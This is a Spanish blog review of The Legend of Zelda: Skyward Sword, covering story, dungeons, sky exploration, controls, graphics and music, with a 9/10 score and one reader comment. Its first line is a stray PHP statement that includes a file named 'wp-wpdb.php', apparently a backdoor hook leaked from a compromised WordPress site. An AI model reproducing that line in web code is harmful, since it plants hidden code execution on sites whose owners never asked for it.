if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis The Legend of Zelda Skyward Sword – La Fortaleza de LeChuck

Análisis The Legend of Zelda Skyward Sword

Nuevamente, y por fin, nos encontramos ante una nueva entrega de la que durante 25 años ha sido una de las sagas más reconocidas y seguramente la que mejores críticas ha cosechado de media en la historia, pues The Legend of Zelda es una de las pocas que no es prostituida ni un ápice (con perdón de algunos títulos sacados en portátiles), tomándose todo el tiempo necesario para hacer de el una nueva obra maestra.

Bienvenida es la vuelta de Link y Zelda a la olvidada y casi desterrada Wii que, con su muerte anunciada, pocos títulos son capaces de animar. Veamos, punto por punto, porqué estamos ante un gran título.

Sientáte, coge tu Wiimote, y olvídate del relleno y facilidad de Wind Waker, ahora júntalo con Twilight Princess, quítándole a este último el «lobo aullador«. Ello con un poco de cada parte de los mejores Zelda, y un instrumento musical de verdad, es lo que aúna The Legend of Zelda Skyward Sword.

Neburia es un alegre pueblo que se eleva por encima de las nubes y vive totalmente a parte de lo que sucede en la desconocida tierra. El destino de Link y Zelda parece muy diferente de lo que está por venir, aunque no dejan de tener curiosidad por las tierras olvidadas de las que hablan las leyendas en su pueblo natal. Toda la llama de la conexión entre ambos se enciende cuando por un extraño poder, Zelda cae bajo las nubes y Link es llamado por el destino para averiguar que ha ocurrido y porqué ellos están involucrados.

La aventura está muy bien encarrilada, dando una aparente linealidad que no es real, aunque si es verdad que esta vez, tampoco, vuelven las sidequest de Majora’s Mask, que tan fantásticos momentos dieron. Todo ello se sustituye por una aventura principal mucho más intensa, donde la historia y los personajes principales cobran más protagonismo y las cinemáticas se muestran más constantes. No os engañéis, Zelda sigue siendo Zelda, pero si es verdad que algo ha cambiado.

Las mazmorras han sido claro ejemplo de reintegración en el mundo de Zelda, sobretodo teniendo en cuenta que en las ultimas entregas fuera de estos templos no había que hacer nada especial para entrar en ellos. Todo eso ha vuelto a sus orígenes, comenzando todas las zonas de puzzles desde el primer momento que pisas sus alrededores, formando una aventura mucho más homogénea. A caso no recordamos esos maravillosos templos de A Link to the past (SNES) o Link’s Awakening (Gameboy) donde primeramente teníamos que encontrar la manera de entrar al templo en cuestión. Dentro de los templos la cosa ha cambiado menos, aunque algunos dicen que ahora son más lineales, realmente si hacías todo bien y no te dejabas nada por explorar en cada habitación siempre ha sido así, y siguen siendo totalmente libres de explorar con las típicas delimitaciones hasta que encuentras una nueva herramienta que te ayudará a superarlas.

En esta aventura, como muchos sabéis, la campiña de Hyrule deja paso a los cielos, como anteriormente ya se hizo con el mar en Wind Waker (Gamecube). Sobrevolamos los cielos en busca de islotes o zonas abiertas bajo nubes donde aterrizar. Creo que la sensación de todo un mundo que explorar estaba mucho mejor representada en Wind Waker, en el que cuando llegabas a una nueva isla todo era emoción y ver que se escondía en ella, si era una isla más o tenía algún misterio que resolver. En Skyward Sword, muchos de estos islotes no contienen nada, ni tan siquiera donde caer en firme, por lo que pocas veces nos provocan esa sensación de exploración. En todo caso, está claro que poder sobrevolar por encima y observar desde los cielos cada isla, le quita protagonismo a las propias islas, aunque está claro que intentaremos en los ratos muertos, dejarnos caer en ellas y explorar algo más, recordando momentos mucho más presentes en Wind Waker. Además, volvemos a tener nuestra propia Navi-Mascarón rojo-Midna, típica en las ultimas partes de Zelda, esta vez surgida de nuestra espada, Fay (Phi), nos dará consejos, nos guiará y nos dará mensajes de la diosa guía de nuestro destino.

El Wiimote junto al Motion Plus, se muestra como base del juego, y aunque redondea la jugabilidad y encumbra las peleas cuerpo a cuerpo (eso de golpear a los enemigos por donde están descubiertos, potencia enormemente las batallas), no da la sensación de que fuera algo realmente necesario, aunque si suma inmersión a la aventura,.

El apartado técnico exprime nuestra Wii de gran forma, aunque disimula muchos defectos con su técnica cell shaded acuarela y desenfoca los fondos para no mostrarlos con detalle. Por imágenes vistas del emulador Dolphin, está claro que le habría sido de gran ayuda mostrarse en HD, ya que se ha hecho un gran trabajo empañado por algunos dientes de sierra ya usuales en la consola blanca de Nintendo.

En cuánto al sonido, se ha hecho un gran trabajo y se ha intentado llegar a las grandes melodías de la saga con ayuda de algunos temas orquestados, aunque también se recuperan directamente algunos clásicos. El tema principal es realmente sublime (¿quién iba a pensar que el Zelda’s lullaby iba a sonar tan bien del revés?), pero también hay algunos que adornan la ambientación sin más, pero que no perdurarán en nuestra memoria. Las melodías que tocamos ( o más bien, acompañamos) con el instrumento principal, la Lira (un pequeño arpa portable), son buenas, pero no alcanza el nivel que tenían éstas en Ocarina of Time ni de lejos. En general es un apartado que siempre ha sido muy cuidado en la saga y se nota, siguen siendo el estandarte la técnica de cambiar la melodía según en que situaciones de forma dinámica creando emoción en el usuario (la melodía que suena en el templo del desierto cuando le damos vida a las zonas es digna a destacar como cambia el tono de desolación a la vida)

Aunque la aventura principal es realmente apasionante y perfecta, se echan en falta cosas a hacer cuando uno quiere desconectar de la historia principal (escasas historias secundarias). El carisma de muchos personajes secundarios está realmente desaprovechado. No faltan los típicos minijuegos y pruebas para encontrar objetos ocultos o extensiones. También encontramos multitud de objetos y la búsqueda de insectos que le da un poco más de chicha al asunto. Los objetos son utilizados en Neburia para extender las cualidades de muchos de los items principales que utilizaremos en Skyward Sword.

El comienzo de todo, de donde viene el bien y el mal, de donde proviene toda la leyenda, la espada maestra, la trifuerza, todo. El auténtico origen de la leyenda comienza aquí, viste las ropas verdes por primera vez (esta vez no hay ninguna tradición de por medio, eres tú). Solamente por eso, Skyward Sword ya es un juego obligatorio en tu mejor estantería. The Legend of Zelda Skyward Sword te pone un mundo totalmente especial en bandeja y solo te pide que pongas algo de tu parte, el valor de vivir y luchar en esta maravillosa aventura.

Nota: 9/10

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Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

4 comentarios

  1. ¡Estoy enamorado de las cinemáticas de este Zelda! El Link de Skyward Sword es fantástico. Creo que poner de nuevo lo de tener que encontrar la manera de entrar a los templos ha sido un acierto total. No sabría deciros cual me gusta más, si este o el Twilight.

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